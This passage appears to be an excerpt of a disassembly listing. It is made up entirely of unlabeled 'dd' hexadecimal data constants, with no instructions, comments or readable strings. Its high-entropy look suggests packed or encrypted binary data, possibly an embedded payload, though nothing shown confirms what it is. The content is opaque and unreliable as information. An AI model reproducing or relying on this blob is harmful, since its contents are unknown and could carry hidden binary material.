		dd 0FA8DAE64h, 444CB64Dh, 5002E49Ah, 0FDBB8F6Ch, 577C403Bh
		dd 88417E6h, 4E0034Dh, 0A95A37D9h, 612CB420h, 0EC3A05E3h
		dd 80098577h, 2DEF3B82h, 0C205D27Fh, 91972AD5h,	842370E4h
		dd 58868378h, 0FF80708Fh, 0CC7CDF66h, 596CC500h, 0A6492648h
		dd 0D656056Ah, 5D85F0h,	7679221Ch, 0C6481DF8h, 6E278004h
		dd 1AFE6075h, 88625871h, 58D1FCC2h, 0DABD1640h,	3F2B00B2h
		dd 7CCE6841h, 6D053EC6h, 2480326Ch, 0F7222CE2h,	807DE33Dh
		dd 7EE458EFh, 1DCDAEF9h, 3C3995EAh, 4E290B80h, 0FE1944F1h
		dd 32369900h, 31D41CCBh, 0EE5CA0E7h, 0D7C10644h, 0EE9E1D50h
		dd 0C248CE6h, 80B9283Ah, 99FF61C5h, 7DB03212h, 0E5104A2h
		dd 0DD306CF4h, 61E031ACh, 8DD020BEh, 0D533F809h, 63041AF9h
		dd 7729C12Bh, 5FE8C671h, 0A8390036h, 23C29216h,	4130A0A7h
		dd 1F1B51E3h, 0FEC500EAh, 0C72ADD89h, 240A18E8h, 0C049FC04h
		dd 80C8610Bh, 0EED1B458h, 9CF9014Fh, 0B13E6CF3h, 804C2C58h
		dd 213512F6h, 0D86E1401h, 76070804h, 23D4F079h,	312C2EFDh
		dd 6B406C7Fh, 7D783Ch, 5A18FA9Bh, 990A0B02h, 9170A900h
		dd 675C8444h, 6B4B2426h, 0CD198024h, 40082896h,	0C24C3B00h
		dd 2380FBF6h, 3F9E75FEh, 1E028D45h, 0C0294DBh, 0C09FA087h
		dd 44048682h, 0A1D41A1Eh, 0F4087B97h, 906F82C8h, 64C3F837h
		dd 850B93D8h, 1D121E98h, 244008E8h, 0FC6304C7h,	3655003Ah
		dd 7726D24Dh, 0F00955Eh, 0DDB9ABA0h, 0A0D17B51h, 817EC4C8h
		dd 1C4879E9h, 9C00D503h, 85E408C1h, 0C87400ECh,	4289CDD8h
		dd 972755F4h, 4248141Bh, 9884976Bh, 4F073CA2h, 0C0C05E56h
		dd 8272ED86h, 0A8C2D100h, 0DE3EB69Ah, 3CE3020Eh, 15F3C0E0h
		dd 2C00E478h, 76FBA123h, 30D4F460h, 0E3A90BD6h,	970ED02Eh
		dd 3FA7FA5Bh, 0D7CA508Bh, 5671FE8Ch, 7D554000h,	6401DF7Eh
		dd 2782E5Ch, 38D205E5h,	0E82880D7h, 6C183DB3h, 995913E9h
		dd 54CC0082h, 4023B8D8h, 312EA5EEh, 7B07D3FDh, 67F06184h
		dd 5CEBD255h, 8983149Ah, 85EDF25Bh, 49A898F4h, 391F1C7Bh
		dd 1C7DC979h, 36006509h, 0C05520F9h, 42FE0063h,	0EBDF8D22h
		dd 0F80398BEh, 0BD80777Fh, 0FFE0B091h, 31E60047h, 0E8675587h
		dd 0D0B0F3D6h, 2D737E44h, 34906FF7h, 63009779h,	8D217B6Bh
		dd 773926B6h, 0D9DD0138h, 0F70310FEh, 49CBD869h, 76966C00h
		dd 2D528DD8h, 29DB0538h, 4191ED70h, 0D4F56808h,	48302A8Eh
		dd 0B9B42412h, 0DA3F0538h, 4CB88060h, 8C2C03C3h, 5100A168h
		dd 857116Ch, 5A1E7492h,	0DF685040h, 0E1BB4300h,	33958280h
		dd 7B17A803h, 0A965AE3Dh, 0EC6C06CAh, 8F88704Ah, 38BE5CB8h
		dd 1508D0A4h, 0D8050B58h, 692F0416h, 16567Ch, 0DA7202A8h
		dd 41004B19h, 9FA77E39h, 1315F4D7h, 27B63E01h, 6101AE84h
		dd 0F40F45D6h, 8850D84Ah, 665E7908h, 159B7440h,	0A2D330h
		dd 0CC57DA77h, 0EC75E3EEh, 0C3069000h, 0B6318A18h, 0C09A0120h
		dd 66A6A193h, 6C70C57Eh, 9C1B8138h, 0E3F8419Bh,	0F9F02D92h
		dd 9C7F50A7h, 180EA9D1h, 0C7790h, 0F826FB7Bh, 4C55F2Bh
		dd 218CD8A4h, 0C4236281h, 0E24CDA22h, 0DED91496h, 800C8890h
		dd 0D60BF527h, 0B200A8BAh, 9D9FACA6h, 282D1B68h, 25B46AFEh
		dd 0B4498AD9h, 3432E9h,	3B20305Eh, 80AB9Ah, 0DFC0D2F1h
		dd 93924ED0h, 2A14050Bh, 60780E7Ah, 5E900DD5h, 27622E6h
		dd 9DD9E201h, 13F998EAh
		dd 32DA04E4h, 3A10130h,	0A9B48520h, 4FE20088h, 0F8F0AA13h
		dd 90A9CC23h, 73DB10E4h, 917004Bh, 0D9EA8213h, 277AB95Ch
		dd 619425E9h, 7B907978h, 70B61332h, 34002B43h, 626C60B5h
		dd 28573A1Eh, 69CDF80Ch, 776900F6h, 0FA4CFD51h,	29CB6D34h
		dd 83FC0206h, 482522F9h, 0CE434C5Eh, 0E417891h,	0FE61C14Ch
		dd 477E5463h, 881E9C2h,	68745981h, 0BBE78114h, 5FC85872h
		dd 7B4D042Dh, 0D0598BFFh, 8F233C88h, 6D81AC00h,	7CE88E9Eh
		dd 718907D6h, 0C0A47FFFh, 182F2765h, 6050D074h,	3B05D548h
		dd 0F584E1B8h, 18888452h, 7CB05E4h, 8065A1C4h, 0E264EEDCh
		dd 0CA5154B0h, 80E87C60h, 7C2B0CFDh, 87E8007Bh,	57EBF46Fh
		dd 3A4F0B77h, 14803435h, 2A481B3h, 0D6C867DFh, 0CC444F27h
		dd 894040B6h, 931DE4h, 0E14386B5h, 0A4B76A03h, 0E8AC7A02h
		dd 935166DDh, 6840FCF8h, 2A2FEFA8h, 0E48B5C00h,	71D65B58h
		dd 2E7315F0h, 5305E861h, 137E89E6h, 54510F48h, 606C1F62h
		dd 6500E8D1h, 0F0DFD94Ch, 0DDA3098Bh, 340BB371h, 95F41C10h
		dd 96E09005h, 0EC866144h, 0CC560119h, 454D5D1h,	58003D08h
		dd 0F09E0078h, 356F9BB5h, 160500E7h, 4CF5DB02h,	1B01D5CDh
		dd 0D9CB9ABEh, 0F230828Bh, 6789164Dh, 0FE9C05A2h, 0BCBC249Ch
		dd 80808B00h, 0CCB6C65Fh, 98360C5Ah, 0F6896467h, 0C1601D58h
		dd 2530A6E3h, 65D3C4h, 0CAA0E538h, 0C104B90Dh, 0CBE6B401h
		dd 0EED7EB24h, 70298CD9h, 87F9DA02h, 0D8F9D5C6h, 3E911Dh
		dd 6E81251Dh, 0C0D8Ch, 0D24CE6C8h, 4E8A3472h, 9346BE3Bh
		dd 940055D3h, 0E5DC3CA0h, 0F56F0989h, 704581E6h, 0D795003Ch
		dd 0B2A4DBA1h, 4230052Dh, 40EC8131h, 6D8FB678h,	9C0298CBh
		dd 6653074Bh, 0BDC413ECh, 1E051C54h, 4013880Fh,	80739383h
		dd 0BEA6000Dh, 0E0224E97h, 6905E4C2h, 755E25C7h, 7CC4AC84h
		dd 0B7A0B0B8h, 26008515h, 56148F78h, 253C5911h,	4410D7C1h
		dd 0B8037268h, 8C81DC7h, 642B916Bh, 80DFC068h, 4D0B9B33h
		dd 2013688h, 6F50DFA5h,	99CCFE62h, 0F9DE02B5h, 22CF8D6Ah
		dd 29113C5Eh, 6EA49D01h, 0D790C0F6h, 614E70D7h,	29050F4Ch
		dd 81C9982Ch, 4826F8C0h, 9389111h, 0AC846B80h, 0A505447Dh
		dd 256C68F4h, 5444B389h, 8600C0B9h, 0A733F49Dh,	7FA12CF9h
		dd 0BADA0067h, 7A0AB33Ch, 4EFF6F1Bh, 2B0BE890h,	134C9379h
		dd 765F00F8h, 0C24A1697h, 0E883E625h, 269FF438h, 7806158h
		dd 4E031F7h, 500C264h, 96D0088Ah, 0C1443050h, 4F0072F1h
		dd 21A59EABh, 58473F57h, 0D7270C6Ch, 8B8610AEh,	0D416697Ah
		dd 546869F9h, 898B4B0Bh, 22303288h, 8EE61D71h, 0EF842602h
		dd 230DB820h, 88021C7Ch, 8C05DF43h, 0F46C6E04h,	40C09CDAh
		dd 4F43B331h, 0F9E620C0h, 7592335h, 0D753D277h,	7B1F0302h
		dd 0E5FF1CC1h, 492C607Fh, 0E0A214FFh, 1DBB651Fh, 6DE201B2h
		dd 7981ED4Eh, 413B8090h, 627B84E6h, 0C9A28957h,	6E80302Ah
		dd 14DFFF50h, 4E60980Ah, 0A770DC40h, 21CFE0Bh, 9A080465h
		dd 0D451530Ch, 25A270DFh, 0E464810Bh, 0A0B71328h, 4A6F9144h
		dd 20EC8918h, 872C261Dh, 80E2A0E1h, 504C27CEh, 45A5373Bh
		dd 2741DE2Fh, 7C578E5Ch, 3A78D4B0h, 76773FCEh, 62E15300h
		dd 0FCCAB2Eh, 0A5136B19h, 51ACD8D0h, 90EF1805h,	68BB0F22h
		dd 67DDD480h, 2D4957h, 4179B93Ch, 255D68B3h, 8530E6F6h
		dd 0E86CD929h, 20909D94h, 61F9A16Fh, 9782D64h, 7188E64Fh
		dd 22FD0030h, 0F7376F9Fh, 0FCC8634Bh, 1352885Ah, 4598A066h
		dd 32F814E1h, 0DF80A4BAh, 3C248C06h, 70052893h,	60024F26h
		dd 0E65EF90Bh, 0E911E128h, 704980F1h, 13EBBA0h,	60C90927h
		dd 9C980AACh, 0BC001395h, 8ADF3F78h, 5CDE49B3h,	4D3A60F8h
		dd 47BD6000h, 6C02D985h, 0DBE6F71Dh, 0B4D6033Eh, 132A104h
		dd 4DDA6F71h, 2B40D9DEh, 0F1BE6820h, 35B600D5h,	0CD47FB63h
		dd 0AB0F5850h, 0A3A6EA34h, 0E0DD18F9h, 2A51FFh,	815E11B7h
		dd 15195C4Fh, 0CCE7C80Fh, 38EEA0E8h, 22F5C43Fh,	0D600F004h
		dd 0BDAF24B1h, 993165h,	9D0AB21Fh, 92E2713Ch, 0E7771D13h
		dd 0D90540B6h, 0F0FD0506h, 8C38688h, 182F870Bh,	0D1DD7F21h
		dd 41002DCCh, 0CBB7C7F6h, 4C6FCFD3h, 6C00E594h,	0F387D01h
		dd 974BE8CEh, 0BA89DC40h, 9DECCF0h, 0E9755A80h,	9941B068h
		dd 2DEB8E00h, 0DD49B77Bh, 896B0573h, 0B04A1D83h, 392048CCh
		dd 80CC997Fh, 22C2EEA6h, 2800039Eh, 611B1DA9h, 2B7480Ch
		dd 0AF55359Ah, 0F0740653h, 7F863301h, 223BC34Ch, 34009FA4h
		dd 2918733Ch, 3BD897CCh, 14801A09h, 5201907Bh, 92EDD60h
		dd 74683461h, 90B6D287h, 60681861h, 4AF2D300h, 39B2A884h
		dd 0BCFF04A9h, 0B4663115h, 0C70EE788h, 491DA1DDh, 3D68D9AAh
		dd 0E6189B80h, 0BD20BE87h, 3324C305h, 0D3FC45F9h, 0E080373Ah
		dd 7A073F08h, 2B0C1A78h, 19350224h, 4510B852h, 0E7402106h
		dd 18F42284h, 0DF5FD2CAh, 9D03420h, 9E3A00B6h, 0E38B35C4h
		dd 42002608h, 0CE5DFA15h, 0E4580E5h, 0BB8D6C39h, 4E24CCB5h
		dd 0CCB16094h, 9200DA72h, 908C2B7Eh, 916627AAh,	0DF8790C4h
		dd 1F2D0021h, 799BC2E5h, 96CDD1C0h, 5A84D2Eh, 0D5D0CFD6h
		dd 3C50CCF8h, 7E7BA39h,	5B330ED8h, 850A70E0h, 125E0766h
		dd 99BBB3D3h, 0F66FD002h, 117E4CC1h, 0E463A405h, 30B75858h
		dd 3BF94CF8h, 3C090400h, 0B6C0FAEh, 0D614A083h,	0DEAF0B9Ch
		dd 0B4E46727h, 94F2CC00h, 31A88EF9h, 0B0A06461h, 0DEA5410Bh
		dd 68CC809Ah, 96C41D55h, 775C009h, 3191FED3h, 69F39802h
		dd 0A211CBD8h, 9E7E5B0h, 0CC9C3498h, 7C243DFCh,	0A26724ADh
		dd 0B1C8A591h, 0AE2AC0h, 2391716h, 1BD23F93h, 240B5B00h
		dd 1E900527h, 0C833006Dh, 34103591h, 0A1B56760h, 0F14B403Ch
		dd 0B32760DEh, 73E29A0h, 0E23D39ECh, 0E7AFDB00h, 0D0576E0Fh
		dd 0C24CF300h, 6D73D39Eh, 78329DEh, 0D63900F4h,	10EAF13Bh
		dd 0A680500h, 15D1D91Ch, 4F65923h, 6EF80474h, 8C4827B8h
		dd 42868210h, 72600065h, 430397FDh, 2E185AF8h, 0E83A2894h
		dd 0F0D4A312h, 0D8827C64h, 12082AB8h, 0C4F3E7h,	52FE3492h
		dd 1B6C57h, 0C5044F48h,	1DD6567Bh, 1995F803h, 785C17B8h
		dd 521244B0h, 9BDB6F00h, 0DD292656h, 0B30703D9h, 8560F9C1h
		dd 70258893h, 19544867h, 8EE41FA8h, 7F3F023Bh, 0C8C09F55h
		dd 2580CF2Ah, 3A8CA460h, 0ED407CE9h, 0ECFDCE1Ch, 6995F101h
		dd 80E7D67Fh, 95CFC16Ch, 0EA87493h, 930E37F1h, 202EB857h
		dd 74D5C929h, 0AA72FACh, 48810480h, 38FA1293h, 0E86A2727h
		dd 38D63358h, 9C5487F9h, 2285270Bh, 0FEF23444h,	4D269E01h
		dd 566C0AA6h, 0F390053Bh, 7CB674h, 99076D90h, 0E61EC0h
		dd 4E434FEh, 69D13C11h,	4E670602h, 7C7292D6h, 0E6A38808h
		dd 4C2E14ACh, 4672D660h, 828DE24h, 0AB80E541h, 0CDE0D31Bh
		dd 0DDB700E6h, 0FECA9B93h, 0B101B996h, 0E71C6CF3h, 74744F58h
		dd 0C44CE185h, 0BA7A01F5h, 39148FB5h, 29841B2h,	0FC0B0027h
		dd 4F909631h, 492D0011h, 2784B653h, 15800703h, 0C2A9F16Eh
		dd 0E1F218h, 28584DBDh,	371980D4h, 830A52h, 0A2E9F5FEh
		dd 0F43A5560h, 631B2CB0h, 0E2E037F6h, 6288E1D6h, 38B0830h
		dd 7D3868CFh, 7FA24D25h, 0B3001CD3h, 5C11DD1Eh,	1A970079h
		dd 0ED85B16Bh, 2D3DA71Dh, 0E9E48554h, 7C098BF0h, 8C5125h
		dd 4D2DB718h, 404A7249h
		dd 0F9D75097h, 20DAD670h, 5E4F3CB9h, 8FD92800h,	3477C7DFh
		dd 0E9762900h, 861ADC95h, 0BA81007Bh, 0A3114A0Fh, 674B9C01h
		dd 0C6DC88h, 80B4403Ah,	0D7F4F644h, 1332FD00h, 0A437B5Ch
		dd 0DD5203CAh, 236B0CCh, 734BA018h, 7C10E9h, 0C648A766h
		dd 0BB8AD7CDh, 3932CB07h, 0A260A37Dh, 0A0C930E3h, 0C028E794h
		dd 84A60118h, 20A5C67h,	0B06380A5h, 7A99C09h, 7EA08BC4h
		dd 5C0CE0h, 0ACDC797h, 98442CBCh, 2F0F0701h, 0F8C99F5Fh
		dd 30491070h, 0CE404EF2h, 8D80343Dh, 0F3FD4158h, 190982B3h
		dd 3526721h, 8AB49C4h, 381FE6A8h, 0CDDB6304h, 0D280D80Fh
		dd 672052D0h, 79D68C00h, 47B0CE07h, 58933DAh, 4014F992h
		dd 10742BA2h, 9B8FCEEFh, 173E290h, 1036B11Ch, 81162F7Dh
		dd 3D2DF445h, 4921747h,	56248098h, 6088BC12h, 9F9284F8h
		dd 0AC875Ch, 0ED3C2481h, 7C330D0Ah, 135E7977h, 20663DDEh
		dd 8655A568h, 0CE0F7EE8h, 0A05EF2A1h, 0D93C47Dh, 0D1AE004Dh
		dd 95F90BB7h, 0E4C22FFh, 65501B0h, 235A93D9h, 0E8C0C821h
		dd 3F1F0131h, 0FE969880h, 83890078h, 0C89CE1h, 0A971B3A3h
		dd 0E098C92Bh, 8F77F207h, 209C15BBh, 0F37B0556h, 3897EBC4h
		dd 0A4461E20h, 0E7721C09h, 0C0DC88C2h, 6F9B81C1h, 98328C44h
		dd 98B1965h, 9EEA9460h,	0A4DD8130h, 2003A9F6h, 7788FB74h
		dd 412130B2h, 1D0D988h,	2CDB0512h, 8289C841h, 28305D4Fh
		dd 84C000C3h, 0D1A6E969h, 80B74E92h, 51DD8BB8h,	1EAC9054h
		dd 0A86B1D6h, 0A81FABh,	16FFD06Ah, 8330F004h, 4BA39909h
		dd 2E903057h, 93A24FF0h, 0FCC0824Fh, 0BEDCBD81h, 0BBA10230h
		dd 0C4812AF6h, 32906D83h, 8D3C54D4h, 68D3E77Fh,	92C7803h
		dd 6775E8D8h, 4E95266Ah, 0E4F99284h, 9C883A08h,	7DB1304Bh
		dd 4CE73470h, 58C69179h, 289BEB8h, 7AD7838Dh, 94C002F4h
		dd 69288276h, 0A10194E0h, 413681FEh, 5E2F85E6h,	9F8D4B40h
		dd 0E190742Ch, 0DD08B343h, 0FF042782h, 50B04A9Fh, 7C33052h
		dd 270ABEE8h, 7059348Dh, 8ACF6C74h, 2258DD12h, 8564B801h
		dd 64269Bh, 83E88B2Dh, 0A9DAE769h, 25041E58h, 3C88C8E9h
		dd 4612C3h, 320B7FF8h, 87035677h, 0C9312706h, 0D7EE99E9h
		dd 4566E1C2h, 3F2991h, 59CC7861h, 0A4A1AEh, 0FF8B9641h
		dd 5CE87463h, 0DF798803h, 0C0E3AD7Bh, 0C92136h,	342D4D30h
		dd 54CD6E1Fh, 0EF8FFF00h, 0E09FDE77h, 0DD38168Eh, 0EC2D00D5h
		dd 8083120Dh, 5D46CD00h, 0BF10F429h, 0B630EFCh,	9BC3A1C7h
		dd 0C090EC81h, 0DD07E69Dh, 64CCB6A7h, 736ED770h, 968690E4h
		dd 0A8E80040h, 36466727h, 0C98DDF00h, 0B9727D77h, 3A4F18AEh
		dd 73045088h, 1F7450BDh, 89416Bh, 0A5CA7FA8h, 427C1338h
		dd 8446D700h, 9D0915D9h, 0DC29004Bh, 0DE86DB9Ah, 0BC1C5CFCh
		dd 7A7BAB71h, 0AF180800h, 0A1AD15DDh, 105B01D4h, 0CB53A249h
		dd 0B0FE8088h, 197E703Eh, 0A7D30086h, 9B2E8FC3h, 0CB0345FCh
		dd 0B4E95D49h, 0A2EB21h, 0DC36B8C9h, 78D16647h,	0F0823B00h
		dd 0BA9D011Eh, 0E873C3h, 0D8C464DDh, 4FFBE592h,	5C47D100h
		dd 39AAF528h, 0EE17000Ch, 5D3CE162h, 0E00076BAh, 75479D6Bh
		dd 7B34308h, 0BC4817C4h, 5290F083h, 340ECA87h, 60C82235h
		dd 62A7CC16h, 766100FAh, 0D03FC621h, 9401A542h,	0CF6D57BDh
		dd 16F486A8h, 0DD560098h, 491777DFh, 2500E5C5h,	0C950FC6Fh
		dd 320197Bh, 0C1AA67DCh, 3AA91B51h, 1F4C6C1Eh, 0A08080D9h
		dd 0C5776435h, 4B7299h,	38242662h, 5D075885h, 2AB21C05h
		dd 6DC10B54h, 0D8C7ADB9h, 8C4D93h, 0EAEDF4BEh, 8630C59Ch
		dd 78FB4430h, 0F562D0h,	2710EB95h, 0C18CA0C3h, 5CAFB201h
		dd 0FDAB7BD4h, 0BE76288Fh, 64A08F6Fh, 0EB68F69Bh, 0DA006CBEh
		dd 0D786810Dh, 0F3D100CDh, 519DACD3h, 72006002h, 3A630F44h
		dd 2309E11h, 6D4D1FF1h,	93408B94h, 230079C3h, 0F0B5DEE1h
		dd 980FB14h, 0AA989777h, 4F6D4000h, 0F824E564h,	271868DCh
		dd 2888F0F0h, 0EB0E33Ch, 29DE4D76h, 0C8EBD620h,	27E63689h
		dd 0F3661802h, 480DE5F6h, 2BB13F4h, 0A8EC716Dh,	60D58E8Dh
		dd 1DD1ED25h, 8087C6AAh, 354079E7h, 0CC008CDCh,	0B790AF74h
		dd 0B2A988h, 7CD127BAh,	0C948C09Ch, 0AFB96D1Dh,	6830C0A4h
		dd 81CEB841h, 2B8848A7h, 294D5D00h, 1EA96560h, 796B00B4h
		dd 0BB8368AAh, 510762DBh, 86391120h, 0D6421440h, 0F35A00EDh
		dd 5919DED8h, 90028CBh,	77367811h, 0B7FB6Ah, 52960734h
		dd 0ED8AD022h, 73D34B00h, 62847021h, 0D6100FCh,	8CE326E4h
		dd 60139D1h, 8E384DFBh,	0A7E429A6h, 0CD8F1576h,	0C100E05Ch
		dd 229BDFD0h, 0FB00BFF0h, 0D5141A02h, 1CFE339Ch, 40514230h
		dd 9E6DDE10h, 9D1491ADh, 0B8A923Eh, 83556E5Fh, 906A5028h
		dd 24E8BC47h, 886FADh, 1BAFD5ACh, 15FC884Eh, 67706200h
		dd 517A1034h, 0D07C008Bh, 0BE0AE2E4h, 6E0532E3h, 120198E9h
		dd 3347A020h, 0B54200F6h, 0B79169FEh, 9B07BE51h, 9C3B14AAh
		dd 0E2101AB0h, 103548FBh, 6F4D1E78h, 172F817Dh,	648F9901h
		dd 0FB027E00h, 570DE7E6h, 1900499Ch, 0E9ABE4h, 1AA68C06h
		dd 0AD3266D9h, 0A953F492h, 0B8C239D4h, 37F10F7Ah, 2CEAA00Ch
		dd 0CC1E05h, 8E9E6E01h,	9A453D1Dh, 0F0237A00h, 14FF2A22h
		dd 3C5C00F2h, 99F46340h, 0B90E938Ch, 0BCDCFE03h, 2D28C9h
		dd 0AC3475EBh, 1F7C3C11h, 80EB00F4h, 6BF73627h,	0F60303DEh
		dd 90238B1Eh, 4368F0A7h, 0F2705063h, 4687009Dh,	96319FCCh
		dd 45019AD2h, 0BFCB5782h, 987DE415h, 5FBC7D00h,	0F79242A5h
		dd 0C08990CFh, 1F21F207h, 0BA824C38h, 0E8764800h, 6A101601h
		dd 671AAE00h, 0C2A5D239h, 6B740037h, 0B1E28957h, 6000B7Eh
		dd 0AC645A3Ch, 4C3DA8C6h, 1C04D8D6h, 0B148870Fh, 74017F98h
		dd 9FFEE364h, 5200C07Dh, 12DD03EBh, 0EA05DB24h,	9AFEEE64h
		dd 0D64C1004h, 2C88D8ACh, 0F124860Bh, 83F96594h, 3CF9830Dh
		dd 0FC002A73h, 0E2ABC722h, 0D212002Dh, 684FF095h, 0ED004C1Fh
		dd 694B022Ch, 3ECE45BEh, 5B004381h, 7A1329Ch, 7173267Ah
		dd 0C803416h, 5AE948D8h, 144409Ah, 0CA64ED69h, 710B860Ch
		dd 0F0313167h, 0C14C2A79h, 0CA990250h, 733A0483h, 1F05D0F0h
		dd 0CB5C5889h, 4C08822h, 0E74102CAh, 6728E03Eh,	2C40F42h
		dd 31A17B2Eh, 6B1F27DFh, 3FCE01F0h, 793C3403h, 0B7E1D100h
		dd 123089C7h, 50DECA00h, 3CC1D219h, 0D59F0097h,	9088AE52h
		dd 0C972554Bh, 18C82300h, 0F00749E1h, 1F573E21h, 32090A07h
		dd 0FA4A4087h, 6C48B9FEh, 5C7C1C17h, 66BFBC80h,	3BDDEE7h
		dd 9F72A101h, 0A9A0FF35h, 85000E87h, 0B1194437h, 3901625h
		dd 0D7523E9Ch, 0F7B0A8CAh, 0E00ED10h, 0A097C5Fh, 55BC8Ch
		dd 4E3F220Ch, 587D0B65h, 0E0237A4Eh, 0C4A088B6h, 0AB9C01C5h
		dd 6E9AB395h, 7CD3E458h, 9891DD00h, 8A9BFE62h, 567F0961h
		dd 6056C7D4h, 85E65141h, 86176C3Dh, 2B48B069h, 0D8B1D3EBh
		dd 0D3DE7001h, 68817B00h, 0F6DF19BAh, 90CF8D9h,	1C561A98h
		dd 64E5C00h, 69000839h,	1E5492DAh, 0EC91B762h, 29033C70h
		dd 90820B12h, 806FEE34h, 0BC7E5C7Ch, 4D9DE00h, 1943898Bh
		dd 97A0EC60h, 816AACA4h, 0CC6C7E41h, 5D58A2BAh,	4FA326A2h
		dd 0B6537206h, 48261828h, 0FF0BD920h, 0A1695A60h, 0C02AD6FCh
		dd 0A562379h, 4B00BD18h, 0EE1737Dh, 5CF8C2CEh, 0D0C229Eh
		dd 29B8E42Ah, 0ECE91B12h
		dd 0C0168BCh, 2C09838Dh, 91806FB0h, 0E4F02Bh, 0EC3E9F46h
		dd 757982B4h, 0FF0D6900h, 9DC943E5h, 35BC009Bh,	781EA705h
		dd 2F04040Eh, 71C0119h,	4374BCC0h, 0C0050034h, 793A7616h
		dd 0BC724E97h, 8260FB1Ch, 0DA17BA01h, 9DCCB81h,	3A5204AFh
		dd 80BF46D4h, 5694CF6h,	2D93FF1Ah, 113C1768h, 0EA009C73h
		dd 0CF40FB04h, 0E1063B64h, 0D166C680h, 867B428Ch, 68618431h
		dd 0C708BC87h, 7814048Ch, 621F0408h, 0CDA20B8h,	0D6C01676h
		dd 9273C7DDh, 5EEB0041h, 110477CFh, 0E8C0E6D5h,	6F0C3526h
		dd 8738C047h, 0E7C3D35Ch, 0E0B1CA0Eh, 0E1F9C79Bh, 7D215B46h
		dd 1DC00001h, 2CEC3A86h, 4F18337Bh, 4B05924h, 0FC4E30D6h
		dd 808503C8h, 0E6C1B1DFh, 25FA7850h, 0D8F104E0h, 75C58040h
		dd 3700987Eh, 8C6AB63h,	7A942BE3h, 153F6F7h, 2855478Fh
		dd 0ECFC409Ch, 500294Fh, 0FD2C690Bh, 6304CF4h, 8E8408F6h
		dd 4873053h, 60807050h,	277108Bh, 8D0061C0h, 872AD3A5h
		dd 0F19EBDBh, 704DB5BFh, 9A7849E0h, 0BC62696Dh,	212B0729h
		dd 1B44265h, 6B114A6Eh,	109B12B8h, 51CABCC5h, 0A108145Ah
		dd 868F90BBh, 42514793h, 972D1146h, 0DC0CC321h,	44B22946h
		dd 4284824Bh, 418F11B7h, 2D009E22h, 53BA3D18h, 7CEE13Bh
		dd 0FC7ED977h, 0E212091h, 0BD0795B7h, 82BCCC38h, 0CFBA7880h
		dd 8C5C003Bh, 0B131BF2Ah, 1A0E198Eh, 4036AAC6h,	0D71DF5A9h
		dd 8FAE0758h, 0F0EA0C4Ah, 71BF97B3h, 0F37E1909h, 0FC5E802Ah
		dd 0F51B34C9h, 19220E0h, 15292D88h, 0F08BB978h,	59384C9Ah
		dd 1DC600AAh, 9652BC77h, 7C230004h, 0C7ED07F4h,	0B4F68C8Fh
		dd 7AE2C107h, 0A08063B6h, 6C8A5Ah, 2F3FA42Bh, 32C21D76h
		dd 63460200h, 0DBF6C995h, 614E0FF1h, 817E6EB4h,	8F141F30h
		dd 7B0620ACh, 80C3123Dh, 0EE155C7Fh, 69F59Bh, 0C58B1BBFh
		dd 597A733h, 8898EF00h,	70C49A8Eh, 0B59C00D7h, 0F9230210h
		dd 280C36A2h, 881E34B2h, 0FC0300C3h, 0CD06D9Eh,	0B5004C95h
		dd 4F67E055h, 1E9640Dh,	3BD70731h, 0C0F9D69Bh, 790E8C7Eh
		dd 6044EF28h, 0DA87ADF4h, 3C371625h, 9B90019h, 0B1B77D96h
		dd 7435DD01h, 0E2FD5254h, 39AF7BCCh, 0FB3DE762h, 708EC400h
		dd 0E0B6A022h, 754E8512h, 5BB2A841h, 0BF70D903h, 0A160002Fh
		dd 0F348C6E3h, 86008ECEh, 42E67907h, 1F3BF25Bh,	0A67BF47h
		dd 0A53110h, 69A5F438h,	0CD070CB6h, 0D5E5E0A0h,	0C7BF90F0h
		dd 3F371F74h, 0D615C0DFh, 3E983573h, 7900B1E8h,	0ECCC5431h
		dd 3FF2C4Ah, 0A56722E1h, 89D0BD85h, 0CCEFB5B7h,	0A902ED91h
		dd 0B4649423h, 0B8A480F1h, 52616h, 0F6C8046h, 0A2F6C313h
		dd 0C818C075h, 4DBCD104h, 4EDB00F1h, 67069F37h,	5D1F3BFCh
		dd 0C2C76952h, 0C05090CCh, 16788EF5h, 0AAD812h,	518F63A4h
		dd 0AE005B4Eh, 0EFD61438h, 0C0339D5h, 0D1ACAB36h, 80F2110h
		dd 81F65BB6h, 8D911FF3h, 9DF16CCh, 885266ABh, 2CE32480h
		dd 86013FF6h, 226B8D48h, 3EF82BE6h, 0A2151CE0h,	0CFDE005Bh
		dd 4BB7C679h, 7C28AF2Eh, 8049880Bh, 7A9C6DD7h, 80060304h
		dd 95F70DD1h, 0CCAC8094h, 4800239Dh, 64D9C812h,	0E668B3h
		dd 4004E2B7h, 46CDB957h, 0E31C5B03h, 0DBCA487Eh, 5802B0B2h
		dd 3D4E00D4h, 0B0D7D5E8h, 251E0AF0h, 90403A51h,	10CD38ABh
		dd 0A89F04CFh, 8026A4DAh, 218B1F74h, 0B27350C0h, 4372B1h
		dd 90F041Ah, 228D6CDFh,	2289549h, 519EADD6h, 81CC8E18h
		dd 8F49C576h, 15B1030h,	0A7B95DB2h, 201FE107h, 3EEC7EE4h
		dd 0B43DA600h, 896D9025h, 0DE9D00D7h, 804F8646h, 0D900C44Eh
		dd 6CC3284Ch, 7C49DFh, 26D508B8h, 9CE3B539h, 3016F00h
		dd 0B4F5E197h, 0D39607FEh, 603CAC0Ch, 49244E45h, 23355A00h
		dd 0EFF91040h, 0A55507F5h, 0F0AA1487h, 2A64734Fh, 529BAE00h
		dd 49563D51h, 72C90246h, 6CF7FE92h, 5F1114C0h, 6F519000h
		dd 0CF7071FFh, 925A1359h, 78842634h, 0DCF1CE00h, 0F1EC19Bh
		dd 956000BEh, 0B480DA23h, 5F01FA43h, 2A2B65D5h,	58FC4E84h
		dd 61AB000Eh, 9CD38F64h, 0E80002A6h, 0E4547E8Ah, 399C3D5h
		dd 1C3BADCFh, 3CD1F4B5h, 543FF0CEh, 0A49B2D28h,	0B449A426h
		dd 737FCF80h, 0F4E4DC0h, 8D05EDD1h, 0A191360h, 0E800AAE2h
		dd 0C3BEFF59h, 61655E04h, 0FC9F99DBh, 0F8E021E4h, 7909A01Dh
		dd 40BA9Bh, 61F945FCh, 900D008Ch, 9D4A6B8h, 1E050C31h
		dd 0FB658010h, 0CC5AD102h, 43854064h, 0DE8500F0h, 0C63155D3h
		dd 6F073551h, 0E011920Ch, 9C4BC1F0h, 6A240BDBh,	0C420A060h
		dd 0BCF73FADh, 0D20165B0h, 1AB14452h, 0FC203D27h, 86CF0BDBh
		dd 0A882EE16h, 0E0FD9C23h, 3E5C34h, 0FF77AEDDh,	0EF5F02Bh
